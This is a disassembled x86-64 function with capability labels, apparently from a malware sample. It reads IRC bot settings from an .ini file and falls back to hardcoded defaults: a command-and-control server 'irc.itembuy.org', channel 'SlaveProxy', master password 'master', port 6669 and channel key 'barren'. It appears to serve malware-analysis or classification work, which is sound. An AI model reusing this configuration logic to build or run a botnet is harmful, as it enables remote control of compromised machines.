Function at 0x1400082a0
Capabilities:
Get geographical location
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor eax, eax
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
mov byte [rsp + 0x30], 0
mov word [rsp + 0x31], ax
mov byte [rsp + 0x33], al
call fcn.140013cc0
lea rsi, [0x14002e000]
lea r9, [rsp + 0x40]
lea rdx, str.IRCServer
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x14000836b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.140004800
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx + 7]
mov ecx, edi
call fcn.1400027b0
mov qword [0x14002df80], rax
test rax, rax
jne 0x1400083b5
lea rcx, str.Fail_To_Set_IRC_Server_n
jmp 0x140008915
lea rdx, str.irc.itembuy.org
lea rcx, [rsp + 0x40]
mov r8d, 0x103
call fcn.140013620
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx + 7]
mov ecx, edi
call fcn.1400027b0
mov qword [0x14002df80], rax
test rax, rax
jne 0x1400083b5
lea rcx, str.Fail_To_Set_IRC_Server._n
jmp 0x140008915
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140013cc0
mov rcx, qword [0x14002df80]
lea r8d, [rdi - 1]
lea rdx, [rsp + 0x40]
call fcn.140013620
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea r9, [rsp + 0x40]
lea rdx, str.DefaultChannel
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x140008467
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.140004800
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx + 7]
mov ecx, edi
call fcn.1400027b0
mov qword [0x14002df88], rax
test rax, rax
jne 0x1400084b1
lea rcx, str.Fail_To_Set_IRC_Channel_n
jmp 0x140008915
lea rdx, str.SlaveProxy
lea rcx, [rsp + 0x40]
mov r8d, 0x103
call fcn.140013620
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx + 7]
mov ecx, edi
call fcn.1400027b0
mov qword [0x14002df88], rax
test rax, rax
jne 0x1400084b1
lea rcx, str.Fail_To_Set_IRC_Channel._n
jmp 0x140008915
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140013cc0
mov rcx, qword [0x14002df88]
lea r8d, [rdi - 1]
lea rdx, [rsp + 0x40]
call fcn.140013620
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea r9, [rsp + 0x40]
lea rdx, str.DefaultUserName
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x140008543
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea rcx, [rsp + 0x40]
mov edx, 0x104
call fcn.140002a50
test eax, eax
jne 0x140008561
lea rcx, str.Fail_To_Set_UserName_n
jmp 0x140008915
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.140004800
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rbx, [rcx + 0x1f]
mov ecx, ebx
call fcn.1400027b0
mov qword [0x14002df90], rax
test rax, rax
jne 0x140008594
lea rcx, str.Fail_To_Set_UserName._n
jmp 0x140008915
mov r8d, ebx
xor edx, edx
mov rcx, rax
call fcn.140013cc0
or rcx, 0xffffffffffffffff
xor edx, edx
mov dword [rsp + 0x30], edx
mov rdx, qword [0x14002df88]
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 2
jbe 0x14000890e
movzx eax, byte [rdx + 1]
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
mov byte [rsp + 0x30], al
movzx eax, byte [rdx + 2]
mov byte [rsp + 0x32], 0
mov byte [rsp + 0x31], al
movzx eax, word [0x140024264]
mov word [0x14002dfd0], ax
movzx eax, byte [0x140024266]
mov byte [0x14002dfd2], al
xor eax, eax
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp ecx, 3
jbe 0x140008634
lea eax, [rcx - 3]
cmp byte [rsp + rax + 0x40], 0x5f
jne 0x140008634
mov eax, ecx
lea rcx, [0x14002dfd0]
mov r8d, 3
lea rdx, [rsp + rax + 0x3e]
call fcn.140013620
cmp dword [0x14002dfe8], 0
je 0x140008650
lea rdx, [0x14002dfd0]
lea rcx, str.CountryCode___s_n
call fcn.14001347c
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
cmp rcx, 1
je 0x140008699
lea rdx, [rsp + 0x40]
nop
cmp byte [rdx], 0x2e
jne 0x140008678
mov byte [rdx], 0x5f
or rcx, 0xffffffffffffffff
xor eax, eax
inc r8d
lea rdi, [rsp + 0x40]
inc rdx
repne scasb al, byte [rdi]
mov eax, r8d
not rcx
dec rcx
cmp rax, rcx
jb 0x140008670
mov rcx, qword [0x14002df90]
lea rax, [rsp + 0x40]
lea edx, [rbx - 1]
lea r9, [rsp + 0x30]
lea r8, str._s__s_Final
mov qword [rsp + 0x20], rax
call fcn.140013ac4
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea r9, [rsp + 0x40]
lea rdx, str.MasterPassword
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x14000874e
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.140004800
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx + 7]
mov ecx, edi
call fcn.1400027b0
mov qword [0x14002df98], rax
test rax, rax
jne 0x140008798
lea rcx, str.Fail_To_Set_Password_n
jmp 0x140008915
lea rdx, str.master
lea rcx, [rsp + 0x40]
mov r8d, 0x103
call fcn.140013620
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx + 7]
mov ecx, edi
call fcn.1400027b0
mov qword [0x14002df98], rax
test rax, rax
jne 0x140008798
lea rcx, str.Fail_To_Set_Password._n
jmp 0x140008915
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140013cc0
mov rcx, qword [0x14002df98]
lea r8d, [rdi - 1]
lea rdx, [rsp + 0x40]
call fcn.140013620
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea r9, [rsp + 0x40]
lea rdx, str.IRCServerPort
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x140008858
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.140004800
lea rcx, [rsp + 0x40]
call fcn.140001270
test eax, eax
jne 0x140008831
lea rcx, str.Fail_To_Set_IRC_Port_n
jmp 0x140008915
lea rcx, [rsp + 0x40]
call fcn.140014018
mov dword [0x14002dfc0], eax
test eax, eax
je 0x14000884c
cmp eax, 0xffff
jbe 0x140008862
lea rcx, str.Fail_To_Set_IRC_Port._n
jmp 0x140008915
mov dword [0x14002dfc0], 0x1a0d
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea r9, [rsp + 0x40]
lea rdx, str.ChannelKey
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x1400088c6
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.140004800
lea rdx, [rsp + 0x40]
jmp 0x1400088eb
xor eax, eax
lea rdx, str.barren
mov qword [0x14002dfa0], rax
mov qword [0x14002dfa8], rax
mov qword [0x14002dfb0], rax
mov qword [0x14002dfb8], rax
lea rcx, [0x14002dfa0]
mov r8d, 0x1f
call fcn.140013620
mov dword [0x14002dfc4], 1
mov eax, 1
jmp 0x140008921
lea rcx, str.Fail_To_Set_UserName__n
call fcn.140002780
call fcn.140002810
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400135f0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret